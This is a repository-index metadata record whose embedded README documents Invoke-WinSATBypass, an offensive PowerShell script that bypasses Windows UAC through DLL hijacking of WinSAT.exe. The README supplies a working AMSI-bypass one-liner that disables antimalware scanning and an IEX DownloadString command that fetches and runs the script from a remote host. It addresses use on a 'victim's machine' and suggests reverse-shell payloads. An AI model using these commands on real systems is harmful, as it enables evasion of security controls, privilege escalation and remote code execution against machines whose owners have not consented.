{"id":14063910,"url":"https://github.com/b4keSn4ke/Invoke-WinSATBypass","last_synced_at":"2025-07-29T17:30:54.881Z","repository":{"id":199161802,"uuid":"437651814","full_name":"b4keSn4ke/Invoke-WinSATBypass","owner":"b4keSn4ke","description":"Powershell UAC Bypass script leveraging WinSAT.exe","archived":false,"fork":false,"pushed_at":"2021-12-21T01:49:56.000Z","size":772,"stargazers_count":14,"open_issues_count":0,"forks_count":3,"subscribers_count":2,"default_branch":"main","last_synced_at":"2024-08-14T07:05:52.329Z","etag":null,"topics":["exploit","exploitation","exploits","powershell","uac","uac-bypass","uacbypass","windows","windows-10"],"latest_commit_sha":null,"homepage":"","language":"PowerShell","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"apache-2.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/b4keSn4ke.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null}},"created_at":"2021-12-12T20:41:30.000Z","updated_at":"2024-02-26T20:56:10.000Z","dependencies_parsed_at":null,"dependency_job_id":"b10bbad7-0ce8-4612-aed9-aab7cb1e0310","html_url":"https://github.com/b4keSn4ke/Invoke-WinSATBypass","commit_stats":null,"previous_names":["b4kesn4ke/invoke-winsatbypass"],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/b4keSn4ke%2FInvoke-WinSATBypass","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/b4keSn4ke%2FInvoke-WinSATBypass/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/b4keSn4ke%2FInvoke-WinSATBypass/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/b4keSn4ke%2FInvoke-WinSATBypass/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/b4keSn4ke","download_url":"https://codeload.github.com/b4keSn4ke/Invoke-WinSATBypass/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":228032917,"owners_count":17858916,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["exploit","exploitation","exploits","powershell","uac","uac-bypass","uacbypass","windows","windows-10"],"created_at":"2024-08-13T07:03:34.291Z","updated_at":"2024-12-04T02:30:47.603Z","avatar_url":"https://github.com/b4keSn4ke.png","language":"PowerShell","funding_links":[],"categories":["PowerShell"],"sub_categories":[],"readme":"# Invoke-WinSATBypass\n\n## Description\n\nThis script will create a mock directory of `\"C:\\Windows\\System32\"` and copy a legitimate application of Windows (`WinSAT.exe`) into it. \n\nIt will after try to download a DLL called `version.dll`, which is loaded by default by `WinSAT.exe`, in order to perform a UAC Bypass by doing some DLL Hijacking.\n\nThere is a pre-compiled DLL in the project folder that will only launch a CMD instance as Administrator. \n\nIf you want to execute any other payload (reverse-shell, user add-on, etc...), you will need to compile a DLL yourself and serve it on your local web server\n\n## Demo\n![Demo](/img/demo.gif)\n\n## How to Run Invoke-WinSATBypass\n---\n\n### AMSI Bypass\n\nIn most case, running this script will require us to bypass the Antimalware Scan Interface (AMSI). We can do so by typing the following command in a Powershell instance\n\n```\n[Ref].Assembly.GetType('System.Management.Automation.Amsi'+\"Utils\").GetField(\"amsiInit\"+\"Failed\",\"NonPublic,Static\").SetValue($null,$true);\n```\n### Running the script locally\n\nIf you got the script locally on the victim's machine, you can run the script like this:\n\n```\n. .\\Invoke-WinSATBypass.ps1\nInvoke-WinSATBypass -HTTPServerIP [IP_ADDRESS]\n```\n\n### Running the script as a string downloaded from the repo\n\nIf you prefer to fetch the script directly from the repo without having it on the disk:\n\n```\nIEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/b4keSn4ke/Invoke-WinSATBypass/main/Invoke-WinSATBypass.ps1');\nInvoke-WinSATBypass -HTTPServerIP [IP_ADDRESS]\n```\n---","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fb4keSn4ke%2FInvoke-WinSATBypass","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fb4keSn4ke%2FInvoke-WinSATBypass","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fb4keSn4ke%2FInvoke-WinSATBypass/lists"}